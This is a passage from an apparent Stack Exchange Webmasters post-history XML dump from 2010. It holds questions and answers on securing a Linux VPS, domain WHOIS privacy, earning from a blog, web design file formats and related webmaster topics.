http://www.google.com/#hl=en&amp;safe=off&amp;q=linux+security+best+practices&amp;aq=f&amp;aqi=g-sx1&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; ... how difficult is it to backup&#xD;&#xA;&gt; files and databases? Can it be&#xD;&#xA;&gt; automated?&#xD;&#xA;&#xD;&#xA;Not difficult and yes, it can be automated (particularly easy if you have a local Linux server but you can also automate WinSCP or rsync tasks - check the documentation for the application you decide to use)." />
  <row Id="4761" PostHistoryTypeId="2" PostId="2465" RevisionGUID="3f25f1cd-59a9-4b73-86e7-29f833c4fb35" CreationDate="2010-08-23T05:30:50.580" UserId="1293" Text="The domain-related danger is that you'll get unwanted sales contacts from people who want to sell you domain registration or other domain/net-related services.&#xD;&#xA;&#xD;&#xA;It's also a way for your personal contact details to leak out into the world at large. Some people care about privacy, some don't. This usually depends a lot on your personality and the risk factors in your life and in the lives of the people who live with you. If you have a hobby or a profession where you tend to make people angry*, it's plausible that sooner or later one of the people you've made angry will want to use your contact information to hassle or threaten you. The same is true if other family members who are easily connected to you are likely to attract stalkers or angry people.&#xD;&#xA;&#xD;&#xA;(*For example, I'm an attorney. I don't spend the majority of my time on civil lawsuits but I do sue people and defend people who have been sued. Sometimes the people involved in lawsuits are very angry at each other, and sometimes they transfer that anger to the other party's lawyer, especially if the lawyer is doing a good job. And sometimes clients get angry if they think the lawyer should have won a case but they ended up losing. So I am careful about my personal contact details so that it's tougher for an unbalanced person to bother me at home.) &#xD;&#xA;&#xD;&#xA;So the question is not just &quot;do I want to be bothered by salespeople?&quot; but also &quot;how likely is it that my family or I will at some point attract unwanted attention from people who don't know where we live, and that the person(s) who are angry at me will be able to use my domain registration to find me?&quot; &#xD;&#xA;&#xD;&#xA;I provide my contact information in the domain names that I've registered, but the contact information I provide is my work address and telephone number, and we've already got systems  and procedures in place at my office to deal with salespeople and crazy people.&#xD;&#xA;&#xD;&#xA;I think it's a good idea for everyone to have a &quot;business address&quot; (maybe just a PO Box) that doesn't reveal where they and their children sleep at night. But I'm a person who likes privacy.&#xD;&#xA;&#xD;&#xA;And, for what it's worth, if I am looking for information on someone, either to decide whether or not they've got assets to make them worth suing, or to find them to have them served with a summons or a subpoena, I'll look at the WHOIS data for any domains that they own, and troll through Google looking for contact information. I've had one case in particular where a dentist who owes my client a lot of money has registered multiple domains, which I found by paying domaintools.com for information, and those domains have revealed additional undisclosed assets and businesses to go after to collect money owed to my client. So it's not unrealistic paranoia to think that someone might use your domain registrations in a fashion that's not friendly to your interests. " />
  <row Id="4762" PostHistoryTypeId="2" PostId="2466" RevisionGUID="340bec75-e5b5-4d4c-bf9e-fcf53f5464a2" CreationDate="2010-08-23T06:02:00.513" UserId="1220" Text="I have launched my blog site and I am able to attract 40-60 user per day, it is almost 2 months my blog is on internet. &#xD;&#xA;&#xD;&#xA;Is there any way I can start earning from my blog, as I went for some advertising company[via googling] and they said that I should have min 1000 user per day to visit my website. &#xD;&#xA;&#xD;&#xA;I am searching for a way to get earn everytime user visit to my site, or via pop up commercial or anything else, in which I can simply start earning. &#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;P.S.: I have constructed my own site in asp.net.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4763" PostHistoryTypeId="1" PostId="2466" RevisionGUID="340bec75-e5b5-4d4c-bf9e-fcf53f5464a2" CreationDate="2010-08-23T06:02:00.513" UserId="1220" Text="Earn through personal blog site" />
  <row Id="4764" PostHistoryTypeId="3" PostId="2466" RevisionGUID="340bec75-e5b5-4d4c-bf9e-fcf53f5464a2" CreationDate="2010-08-23T06:02:00.513" UserId="1220" Text="&lt;advertising&gt;&lt;blog&gt;" />
  <row Id="4765" PostHistoryTypeId="16" PostId="2436" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-23T07:52:47.707" UserId="55" />
  <row Id="4766" PostHistoryTypeId="16" PostId="2434" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-23T07:52:47.707" UserId="55" />
  <row Id="4767" PostHistoryTypeId="10" PostId="2466" RevisionGUID="8653635b-7420-46de-acac-0323261e3fd3" CreationDate="2010-08-23T07:59:15.057" UserId="55" CloseReasonId="2" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="4768" PostHistoryTypeId="16" PostId="2464" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-23T08:18:56.517" UserId="55" />
  <row Id="4769" PostHistoryTypeId="16" PostId="2458" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-23T08:18:56.517" UserId="55" />
  <row Id="4770" PostHistoryTypeId="2" PostId="2467" RevisionGUID="84d82584-19e1-4fbc-8f9d-db5eee152f50" CreationDate="2010-08-23T09:37:37.050" UserId="1608" Text="What are the basic steps to securing a VPS installation that I plan to install Webmin on to host my blogs and personal projects?" />
  <row Id="4771" PostHistoryTypeId="1" PostId="2467" RevisionGUID="84d82584-19e1-4fbc-8f9d-db5eee152f50" CreationDate="2010-08-23T09:37:37.050" UserId="1608" Text="How Can I Secure A VPS Installation?" />
  <row Id="4772" PostHistoryTypeId="3" PostId="2467" RevisionGUID="84d82584-19e1-4fbc-8f9d-db5eee152f50" CreationDate="2010-08-23T09:37:37.050" UserId="1608" Text="&lt;security&gt;&lt;server&gt;&lt;vps&gt;" />
  <row Id="4773" PostHistoryTypeId="2" PostId="2468" RevisionGUID="53dbc3d3-e8ef-4a7f-b080-3288308bc0de" CreationDate="2010-08-23T09:57:54.927" UserId="1468" Text="Depends on the operating system that you will install on that server.&#xD;&#xA;**Later**&#xD;&#xA;I see that you mention webmin so will be a Linux box. Please check the documentation of the particular Linux distro. &#xD;&#xA;For CentOS check this http://wiki.centos.org/HowTos/OS_Protection" />
  <row Id="4774" PostHistoryTypeId="5" PostId="2468" RevisionGUID="fd135495-de7d-43ed-9fb2-bbf347250aad" CreationDate="2010-08-23T10:03:01.270" UserId="1468" Comment="added 17 characters in body; deleted 65 characters in body" Text="I see that you mention webmin so will be a Linux box. Please check the documentation of the particular Linux distro that you'll install on that server.&#xD;&#xA;&#xD;&#xA;For CentOS see this http://wiki.centos.org/HowTos/OS_Protection" />
  <row Id="4775" PostHistoryTypeId="2" PostId="2469" RevisionGUID="ff6a5598-b616-41bd-9360-bd2be6ea67cb" CreationDate="2010-08-23T12:58:13.400" UserId="204" Text="The great thing about a linux VPS is they are pretty secure out of the box. My first recommendation though it to talk to your host and see if they will harden or optimize the security for you. Most VPS with a control panel (webmin, cpanel, etc) are &quot;managed&quot; and they will do a lot for you. Especially if you aren't quite sure what you are doing this is the best choice, in my opinion.&#xD;&#xA;&#xD;&#xA;If you are on your own, first look at a firewall like APF (Advanced Policy Firewall?) or CSF (ConfigServer Firewall). CSF has the option of a login failure detection, and if you attempt to login and fail one too many times it auto bans your IP address. I'm not sure that these are &quot;necessary&quot; since linux doesn't respond on ports it isn't listening to for traffic anyway, but they certainly offer some piece of mind. And if you have a lot of ports open for a variety of traffic, then maybe yes you want a firewall.&#xD;&#xA;&#xD;&#xA;Probably more important, is making sure the applications you install are up to date. More sites get hacked through a Wordpress exploit (for example) than they do through some exploit in the server OS. If you are custom coding scripts make sure you keep on eye on security as well, since you don't want to inadvertently leave an open door through something silly like your contact form." />
  <row Id="4779" PostHistoryTypeId="2" PostId="2470" RevisionGUID="9099f4ab-f647-4e20-a63c-5e59c1454043" CreationDate="2010-08-23T13:20:51.483" UserDisplayName="Camy" Text="The List of the Drupal Hosts is a very good example. It containes all the major hosting companies that offer support for Drupal. You can check some of those such as [eApps][1] for example, which offers both cPanel and  Plesk control panels.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eapps.com/search.php?query=cPanel" />
  <row Id="4780" PostHistoryTypeId="16" PostId="2470" RevisionGUID="9099f4ab-f647-4e20-a63c-5e59c1454043" CreationDate="2010-08-23T13:20:51.483" UserId="-1" />
  <row Id="4783" PostHistoryTypeId="2" PostId="2471" RevisionGUID="4c53be22-6c68-4dc1-8dd9-5203ae89ef70" CreationDate="2010-08-23T14:30:25.743" UserId="480" Text="* Remove unwanted services ([netstat][1] is your friend)&#xD;&#xA;&#xD;&#xA;* Disable service advertisement (revealing your version numbers is great for [Scriptkiddies][2])&#xD;&#xA;&#xD;&#xA;* Change administrative (not public) port numbers to something obscure (SSH on 22 will just be continually scanned)&#xD;&#xA;&#xD;&#xA;* Work out your quotas and limits: [cgroups][3], [limits.conf][4], [qos][5], etc - and actively monitor them - if a web developers code or a DDoS attack knocks down your site and makes your box unreachable it will be too late to fix&#xD;&#xA;&#xD;&#xA;* Some distros have [SELinux][6]/[AppArmor][7]/etc profiles for network based apps, use them&#xD;&#xA;&#xD;&#xA;The first three can be performed through WebMin (in a fashion). You may want to [look through ServerFault][8] for this though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Netstat&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Script_kiddie&#xD;&#xA;  [3]: http://www.mjmwired.net/kernel/Documentation/cgroups.txt&#xD;&#xA;  [4]: http://linux.die.net/man/5/limits.conf&#xD;&#xA;  [5]: http://mod-qos.sourceforge.net/&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Security-Enhanced_Linux&#xD;&#xA;  [7]: http://en.wikipedia.org/wiki/AppArmor&#xD;&#xA;  [8]: http://serverfault.com/search?q=secure+linux" />
  <row Id="4784" PostHistoryTypeId="2" PostId="2472" RevisionGUID="ef72922e-4643-468e-8320-96a24f08e4db" CreationDate="2010-08-23T14:30:50.423" UserId="1204" Text="danlefree's answer to this similar question is quite relevant here: http://webmasters.stackexchange.com/questions/2458/how-difficult-is-an-unmanaged-vps/2464#2464&#xD;&#xA;&#xD;&#xA;Securing a server is more than just a one-off task. Initial one-off tasks include:&#xD;&#xA;&#xD;&#xA;* Hardening SSHd (there are a number of tips and tutorials out there for this, [this][1] was the first good looking one that came up from a search.&#xD;&#xA;* Making sure unneeded services are turned off (or better, uninstalled).&#xD;&#xA;* Make sure that services that do not need to be publicly available are not. For instance configure your database server to only listen on local interfaces and/or add firewall rules to block external connection attempts.&#xD;&#xA;* Making sure that what-ever user(s) your web server processes (and other services) are running as have no read access to files/directories not relevant for them and no write to anything else unless they need write access to selected files/directories (to accept uploaded images for instance).&#xD;&#xA;* Setup a good automated backup routine to keep online backups (preferably on another server or at home) so your content is copied elsewhere so you can recover it should the worst happen to the server (complete unrecoverable crash, or being hacked)&#xD;&#xA;* *Learn* about all the tools that you have installed on your server, so you have a chance of being able to fix issues if they occur (or at least properly diagnose such issues so you can help someone else fix the problem). You will thank yourself for this at some point in the future!&#xD;&#xA;&#xD;&#xA;Ongoing tasks include:&#xD;&#xA;&#xD;&#xA;* Making sure security updates for your base OS are applied in a timely manner. Tools like [apticron][2] can be used to keep you informed of updates that need to be applied. I would avoid setups that automatically apply updates - you want to review what is about to change before you run (in the case of debian/ubuntu) `aptitude safe-upgrade`, so you know what is about to be done to your server.&#xD;&#xA;* Make sure that updates to any libraries/apps/scripts you install manually (i.e. not from your distributions standard repositories using the built-in package management) are also installed in a timely manner. Such libs/apps/scripts may have their own mailing lists for announcement of updates, or you might just have to monitor their web sites regularly to keep yourself informed.&#xD;&#xA;* Keeping informed about security issues that need to be fixed by configuration changes rather than patched packages or that need to be worked around until a patched package is created+tested+released. Subscribe to any security related mailing lists run by the people who maintain your distribution, and keep an eye on technology sites that may also report such issues.&#xD;&#xA;* Managing some form of offline backup for extra paranoia. If you backup your server to a home machine, write a copy to CD/DVD/USB-stick on a regular basis.&#xD;&#xA;* Testing your backups occasionally, so you know they are working correctly. An untested backup is not a good backup. You don't want to have your server die and then find out that your data has not been properly backed up for some months.&#xD;&#xA;&#xD;&#xA;All good Linux distros install into a reasonably secure state out-of-the-box (at least after the first set of updates when you pull in the security patches that have been released since the install CD/image was pressed/released) so the job is not difficult, but it will take more time to do well than you might expect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.daemonforums.org/showthread.php?t=74&#xD;&#xA;  [2]: http://www.debian-administration.org/articles/491" />
  <row Id="4785" PostHistoryTypeId="5" PostId="2472" RevisionGUID="129c1511-cd48-48fc-889f-4b41816b79f2" CreationDate="2010-08-23T14:37:53.683" UserId="1204" Comment="added 174 characters in body" Text="danlefree's answer to this similar question is quite relevant here: http://webmasters.stackexchange.com/questions/2458/how-difficult-is-an-unmanaged-vps/2464#2464&#xD;&#xA;&#xD;&#xA;Securing a server is more than just a one-off task.&#xD;&#xA;&#xD;&#xA;Initial one-off tasks include:&#xD;&#xA;&#xD;&#xA;* Hardening SSHd (there are a number of tips and tutorials out there for this, [this][1] was the first good looking one that came up from a search.&#xD;&#xA;* Making sure unneeded services are turned off (or better, uninstalled).&#xD;&#xA;* Make sure that services that do not need to be publicly available are not. For instance configure your database server to only listen on local interfaces and/or add firewall rules to block external connection attempts.&#xD;&#xA;* Making sure that what-ever user(s) your web server processes (and other services) are running as have no read access to files/directories not relevant for them and no write to anything else unless they need write access to selected files/directories (to accept uploaded images for instance).&#xD;&#xA;* Setup a good automated backup routine to keep online backups (preferably on another server or at home) so your content is copied elsewhere so you can recover it should the worst happen to the server (complete unrecoverable crash, or being hacked)&#xD;&#xA;* *Learn* about all the tools that you have installed on your server (read documentation, perhaps install them on a test environment, say a local VM under virtualbox, to try out different configurations and break+fix them) so you have a chance of being able to fix issues if they occur (or at least properly diagnose such issues so you can help someone else fix the problem). You will thank yourself for the time spent on this at some point in the future!&#xD;&#xA;&#xD;&#xA;Ongoing tasks include:&#xD;&#xA;&#xD;&#xA;* Making sure security updates for your base OS are applied in a timely manner. Tools like [apticron][2] can be used to keep you informed of updates that need to be applied. I would avoid setups that automatically apply updates - you want to review what is about to change before you run (in the case of debian/ubuntu) `aptitude safe-upgrade`, so you know what is about to be done to your server.&#xD;&#xA;* Make sure that updates to any libraries/apps/scripts you install manually (i.e. not from your distributions standard repositories using the built-in package management) are also installed in a timely manner. Such libs/apps/scripts may have their own mailing lists for announcement of updates, or you might just have to monitor their web sites regularly to keep yourself informed.&#xD;&#xA;* Keeping informed about security issues that need to be fixed by configuration changes rather than patched packages or that need to be worked around until a patched package is created+tested+released. Subscribe to any security related mailing lists run by the people who maintain your distribution, and keep an eye on technology sites that may also report such issues.&#xD;&#xA;* Managing some form of offline backup for extra paranoia. If you backup your server to a home machine, write a copy to CD/DVD/USB-stick on a regular basis.&#xD;&#xA;* Testing your backups occasionally, so you know they are working correctly. An untested backup is not a good backup. You don't want to have your server die and then find out that your data has not been properly backed up for some months.&#xD;&#xA;&#xD;&#xA;All good Linux distros install into a reasonably secure state out-of-the-box (at least after the first set of updates when you pull in the security patches that have been released since the install CD/image was pressed/released) so the job is not difficult, but it will take more time to do well than you might expect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.daemonforums.org/showthread.php?t=74&#xD;&#xA;  [2]: http://www.debian-administration.org/articles/491" />
  <row Id="4786" PostHistoryTypeId="5" PostId="1414" RevisionGUID="baf06290-4a76-4783-ae4b-332959c86d5f" CreationDate="2010-08-23T15:23:48.523" UserId="745" Comment="added 138 characters in body" Text="[PageRank is a useless metric to chase][1] and I wouldn't bother with it. With that caveat, if you know PHP and have a host that supports it, check out this tutorial:&#xD;&#xA;http://bohuco.net/blog/2010/07/google-ranking-checker-class-in-php/&#xD;&#xA;&#xD;&#xA;Also, just for clarification, websites don't have PageRank, individual pages do.&#xD;&#xA;&#xD;&#xA;**Edit**: Here is a [PageRank checker for Chrome][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2445/tool-or-online-service-to-view-google-pr-of-thousand-sites-from-a-list/2446#2446&#xD;&#xA;  [2]: https://chrome.google.com/extensions/detail/gcbkdfielojbemjihiefhbfdcpgdfdfn" />
  <row Id="4787" PostHistoryTypeId="2" PostId="2473" RevisionGUID="dbe9c2b9-63bc-4c30-89b7-8a71fbca9334" CreationDate="2010-08-23T16:33:10.060" UserId="1685" Text="I would assume that the answer would be Photoshop PSD, But It would just be a biased opinion. What are your thoughts? I recently find illustrator to be fast in position stuff, at the same time my elements are in vector (crisp and sharp). while in Photoshop, as my images/elements grows, my layers also grows and the memory usage grows, Photoshop will then slow down. Making my overall workflow slowdown. So the idea for this is If I have some raster images that needs some Photoshop effect, I will just switch to Photoshop and finish that effect. then switch to illustrator and import that image to my whole design. Maybe it's just my workflow in Photoshop that isn't optimize thats why I find it very inefficient. &#xD;&#xA;&#xD;&#xA;I think this also goes with fireworks. I've used these 3 application for web design. I've had long relationship with Photoshop in terms of web design. &#xD;&#xA;&#xD;&#xA;Back to my question, what do you usually use for Web Design? and does it affect Designer,Developer and Client in your project?" />
  <row Id="4788" PostHistoryTypeId="1" PostId="2473" RevisionGUID="dbe9c2b9-63bc-4c30-89b7-8a71fbca9334" CreationDate="2010-08-23T16:33:10.060" UserId="1685" Text=" in Web Design What format does Web Designer, Developer and Client prefer? Is it PSD, AI, EPS. or Firework's PNG" />
  <row Id="4789" PostHistoryTypeId="3" PostId="2473" RevisionGUID="dbe9c2b9-63bc-4c30-89b7-8a71fbca9334" CreationDate="2010-08-23T16:33:10.060" UserId="1685" Text="&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="4790" PostHistoryTypeId="2" PostId="2474" RevisionGUID="33b343ab-fd37-426b-a15c-01a71446fa18" CreationDate="2010-08-23T16:43:37.800" UserId="1253" Text="As a developer (HTML/CSS for the purposes of this discussion) who does not manipulate or otherwise alter the original artwork provided by the designer, my preference is for a Photoshop PSD file. The issues with file size and Photoshop slowing down don't apply to me since I will not be doing any actual work on the file. I just need a file that makes extracting portions of the art easy to do. Photoshop PSD files do just that.&#xD;&#xA;&#xD;&#xA;I *think* of all of the formats you mentioned a PSD file is the most ubiquitous. I have yet to hear of any designers or developers (or other types shops that handle digital artwork) not having Photoshop available.&#xD;&#xA;&#xD;&#xA;PNG would be less useful then formats that have layers. Once a PNG is flattened out you can't go back and extract a portion of the image either then cropping that PNG. That may mean having to go back and edit the PNG to remove unwanted elements." />
  <row Id="4794" PostHistoryTypeId="2" PostId="2476" RevisionGUID="7ec5a3c2-e37a-48ef-8be1-1c6a21f0e3da" CreationDate="2010-08-23T17:00:40.517" UserId="745" Text="Try [DeviantArt][1]. Some of the best artists showcase their work there and I'm sure you'll be able to find someone willing to do work for hire.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://browse.deviantart.com/customization/icons/os/" />
  <row Id="4795" PostHistoryTypeId="16" PostId="2476" RevisionGUID="7ec5a3c2-e37a-48ef-8be1-1c6a21f0e3da" CreationDate="2010-08-23T17:00:40.517" UserId="-1" />
  <row Id="4796" PostHistoryTypeId="2" PostId="2477" RevisionGUID="94e4e4bc-91d4-4ef0-ad40-0cf8518726b1" CreationDate="2010-08-23T17:18:09.303" UserId="871" Text="As a developer half of what I want from the designer is plain text. I want the static picture to be conveyed as if it were the dynamic site I am going to have to build. What happens when the text in that box is too big?&#xD;&#xA;&#xD;&#xA;I also want the fonts, the expected sizes and the colors all spelled out in text. Obviously the designed knows what these are supposed to be as part of the design, why must I risk error by having to re-discover this information out of the PSD?&#xD;&#xA;&#xD;&#xA;Pictures are nice, layered files are necessary for visual item extractions, but a design specification is too often overlooked. A picture does not a design make." />
  <row Id="4798" PostHistoryTypeId="2" PostId="2478" RevisionGUID="7a1adff5-29fb-4662-ada3-6e8d6c2313e2" CreationDate="2010-08-23T18:00:03.587" UserId="1688" Text="Is there any popular forum software (installable, not hosted), that has LDAP integration for users?&#xD;&#xA;&#xD;&#xA;Ubuntu server, Python would be nice but not required, authentication only for now, although profiles would be nice at a later point" />
  <row Id="4799" PostHistoryTypeId="1" PostId="2478" RevisionGUID="7a1adff5-29fb-4662-ada3-6e8d6c2313e2" CreationDate="2010-08-23T18:00:03.587" UserId="1688" Text="Forum with LDAP integration?" />
  <row Id="4800" PostHistoryTypeId="3" PostId="2478" RevisionGUID="7a1adff5-29fb-4662-ada3-6e8d6c2313e2" CreationDate="2010-08-23T18:00:03.587" UserId="1688" Text="&lt;forum&gt;" />
  <row Id="4801" PostHistoryTypeId="6" PostId="2294" RevisionGUID="84ef0e1c-6eaa-4f11-bd51-15dd2a76c65a" CreationDate="2010-08-23T18:00:50.887" UserId="180" Comment="Removed the &quot;combining&quot; tag as it doesn't make sense on its own; looking at the site-wide tags list, someone wouldn't have any idea what combining means." Text="&lt;css&gt;&lt;performance&gt;" />
  <row Id="4802" PostHistoryTypeId="6" PostId="2478" RevisionGUID="296b76a7-bb65-43e1-9e01-2fcf1f0f9c19" CreationDate="2010-08-23T18:07:03.123" UserId="1253" Comment="edited tags" Text="&lt;forum&gt;&lt;ldap&gt;" />
  <row Id="4803" PostHistoryTypeId="2" PostId="2479" RevisionGUID="969a0f54-6583-43ca-9692-f5ea84f67a9b" CreationDate="2010-08-23T19:49:14.263" UserId="1207" Text="Do you mean for images, or for web design and wireframing?&#xD;&#xA;&#xD;&#xA;For wireframing, i would choose none of the above. There's good software out now which is actually built for creating website designs/wireframes. There was a question on [stack overflow][1] about it, along with a good blogpost on [website mockup tools.][2]&#xD;&#xA;&#xD;&#xA;I've used Axure to great affect, but it's an expensive solution (yet it does have a trial period.) The newest versions of Fireworks also contain some powerful mockup features, so i'd recommend that if you're dealing with people who already have the adobe suite. That's what Adobe's really tailoring it to do these days.&#xD;&#xA;&#xD;&#xA;If you're just talking about what to save individual images as, I'd say either the purest source you have, so PSD for bitmaps and AI for vectors, if you're using adobe suite. Let the developer handle formatting the image into its final version (which will be flattened PNG, JPG, GIF. AI and PSDs are never part of a webpage.) If the dev can't open PSD and AI files, you can just export to PNG (not flattened) and SVG respectively.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/55363/best-tools-for-creating-website-wireframes&#xD;&#xA;  [2]: http://www.badlanguage.net/seven-website-mockup-tools&#xD;&#xA;" />
  <row Id="4804" PostHistoryTypeId="10" PostId="2473" RevisionGUID="7426ce4f-90ed-4f4c-996e-e24537e56f4e" CreationDate="2010-08-23T20:07:36.600" UserId="55" CloseReasonId="2" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="4805" PostHistoryTypeId="2" PostId="2480" RevisionGUID="22df9f3a-44f9-4a24-af78-e77324ea0864" CreationDate="2010-08-23T21:19:44.640" UserId="1691" Text="Possible reasons for needing control:&#xD;&#xA;&#xD;&#xA;1. Adding, managing sub-domains and mirrors.&#xD;&#xA;&#xD;&#xA;2. If you're running an email server, you'll have to appease &lt;a href=&quot;http://help.yahoo.com/l/us/yahoo/mail/postmaster/basics/postmaster-15.html&quot;&gt;email service providers' demands&lt;/a&gt; to legitimize your email communications, which may involve tweaking dns records.&#xD;&#xA;&#xD;&#xA;3. If you don't have a static IP, someone has to keep on top of updating dns records every time your ISP switches your server's IP address.&#xD;&#xA;&#xD;&#xA;4. Keeping on top of registration renewals.&#xD;&#xA;&#xD;&#xA;5. Publishing website support and complaint contact information, and otherwise keeping in compliance with ICANN rules.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Your registrar should be able to provide you with the means to add a sub-user account, which lacks transfer ability and missing some other key permissions.  Set this up for them instead.  But for added security, you may instead want to have this consultant supply you with a list of changes needed, and you personally make these changes or otherwise open a support case with your registrar to make it happen." />
  <row Id="4806" PostHistoryTypeId="5" PostId="2459" RevisionGUID="2f861608-5056-454e-b090-5f2a84721db6" CreationDate="2010-08-23T21:25:54.247" UserId="1078" Comment="added 272 characters in body" Text="For a website with dynamic content (new content is constantly being added), should I only include the newest content in the sitemap or should I include everything (with a sitemap index)? What are the best practices for sitemaps esp. for large sites?&#xD;&#xA;&#xD;&#xA;Also, is there anyway to make google (and other search engines) only crawl the pages in the sitemap?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Update:&lt;br /&gt;&#xD;&#xA;Also, any idea how stackoverflow handle this? I'd like to know but unfortunately (also [understandingly][1]) they have blocked access to their sitemap.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackoverflow.com/questions/33965/how-does-stack-overflow-protect-its-sitemap" />
  <row Id="4807" PostHistoryTypeId="2" PostId="2481" RevisionGUID="f26f2bfc-b9f2-4442-a0f0-b6022193038d" CreationDate="2010-08-24T00:20:43.673" UserId="1078" Text="The only reason I would need someone's account with a registrar is to change the DNS settings (name server .. etc). But this has nothing to do with the site being indexed by search engines. Besides this can be used to initiate a domain name transfer (= you get your domain name stolen). If I were you, I'd never give such information to them." />
  <row Id="4808" PostHistoryTypeId="2" PostId="2482" RevisionGUID="6eb23d6f-efe3-4980-ba87-74bf17af6360" CreationDate="2010-08-24T02:41:52.203" UserId="427" Text="Securing any machine, VPS included, isn't an exact recipe, but you can start out with the tutorials of 2 major VPS providers: [Linode Library][1] and [Slicehost Articles][2]&#xD;&#xA;&#xD;&#xA;[1]: http://library.linode.com/&#xD;&#xA;[2]: http://articles.slicehost.com/" />
  <row Id="4809" PostHistoryTypeId="2" PostId="2483" RevisionGUID="3d3c2686-b4c6-442f-8510-6e0fcccf6fcf" CreationDate="2010-08-24T03:44:01.157" UserId="1694" Text="[Spamgourmet](http://www.spamgourmet.com/) offers the source code for their service for people who want to run their own disposable email service. Are there any others available for download?&#xD;&#xA;&#xD;&#xA;I'd prefer them to be written in PHP but I'm mostly curious to see other options out there." />
  <row Id="4810" PostHistoryTypeId="1" PostId="2483" RevisionGUID="3d3c2686-b4c6-442f-8510-6e0fcccf6fcf" CreationDate="2010-08-24T03:44:01.157" UserId="1694" Text="Self-hosted Disposable Email Services" />
  <row Id="4811" PostHistoryTypeId="3" PostId="2483" RevisionGUID="3d3c2686-b4c6-442f-8510-6e0fcccf6fcf" CreationDate="2010-08-24T03:44:01.157" UserId="1694" Text="&lt;email&gt;" />
  <row Id="4812" PostHistoryTypeId="2" PostId="2484" RevisionGUID="febbd7a8-b73f-485d-bfaa-bfcd1d524e4b" CreationDate="2010-08-24T05:22:49.710" UserId="5137" Text="Just some points.&#xD;&#xA; - Change your SSH port.&#xD;&#xA; - disable directory listing of files.&#xD;&#xA; - remove server signature, tokens.&#xD;&#xA; - install some firewall&#xD;&#xA;&#xD;&#xA;there are many more things..I just told things which came to my now.." />
  <row Id="4816" PostHistoryTypeId="2" PostId="2487" RevisionGUID="ee804ae8-9014-48e1-bf76-0468e01ed3b0" CreationDate="2010-08-24T09:00:44.910" UserId="711" Text="One thing to keep in mind is that Google doesn't label supplemental results any more, so you can't really judge whether or not a URL is in the old supplemental index anyway. Some of the &quot;tools&quot; that try to do this use obscure methods that really don't reflect the internal status, so you can't really trust them anyway. &#xD;&#xA;&#xD;&#xA;Personally, I would not even bother worrying about it. The old supplemental index is well integrated into the search results (which is why the URLs are no longer labeled) and in the meantime, the infrastructure - as well as the crawling, indexing and ranking processes - have changed significantly enough that it's not worth the time to look at things like that (even assuming you could get accurate information on whether or not a URL is in the old supplemental index). &#xD;&#xA;&#xD;&#xA;As John Conde mentioned, good rankings don't come quickly. Focus on your users, focus on your website and its content, and let Google worry about the indexing part. :)" />
  <row Id="4817" PostHistoryTypeId="2" PostId="2488" RevisionGUID="5896dea8-2ede-47cc-98f2-e0aa923eddc9" CreationDate="2010-08-24T09:05:42.793" UserId="910" Text="If someone can work out when you are away from home from your blog, there is a **small** risk that they will get your address from the WhoIs information then pay a visit to your house. &#xD;&#xA;&#xD;&#xA;Now if your blog talks about something that is worth stealing…&#xD;&#xA;&#xD;&#xA;However there are so many other ways to find houses of people that are away that I don’t think the risk is great.&#xD;&#xA;" />
  <row Id="4818" PostHistoryTypeId="2" PostId="2489" RevisionGUID="1fb30c19-a19f-4544-872f-d7a93ffb0f69" CreationDate="2010-08-24T09:41:12.743" UserDisplayName="James H" Text="He can go with any of the open source CMS as WordPress, Drupal, Joomla or try to look for non-paid versions of commercial CMSs as Kentico CMS: http://www.kentico.com/freecms.aspx" />
  <row Id="4819" PostHistoryTypeId="2" PostId="2490" RevisionGUID="2cdcf785-1de9-400e-acaa-387f15ce4cc1" CreationDate="2010-08-24T10:52:40.130" UserId="1685" Text="Are there existing TV Shows we're they talk about the Web Industry? (Web Mastering, Web Designing, Web Developing, Interviews and Tips and Tricks). &#xD;&#xA;&#xD;&#xA;TV shows can be interesting for us, It can be a good source of inspiration. Information from TV shows can be delivered to your audience fast and would be good for people who don't like to read much. Topic I'm interested to watch are Successful Stories of Design Firms and Their Workflow. Another is some sneak peak on their Company and WorkStation (similar to MTV Cribs) lol.&#xD;&#xA;&#xD;&#xA;I'm open to Internet Channels (Youtube, Adobe TV).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4820" PostHistoryTypeId="1" PostId="2490" RevisionGUID="2cdcf785-1de9-400e-acaa-387f15ce4cc1" CreationDate="2010-08-24T10:52:40.130" UserId="1685" Text="TV Shows for Web Master and Design Firms" />
  <row Id="4821" PostHistoryTypeId="3" PostId="2490" RevisionGUID="2cdcf785-1de9-400e-acaa-387f15ce4cc1" CreationDate="2010-08-24T10:52:40.130" UserId="1685" Text="&lt;learning&gt;&lt;education&gt;" />
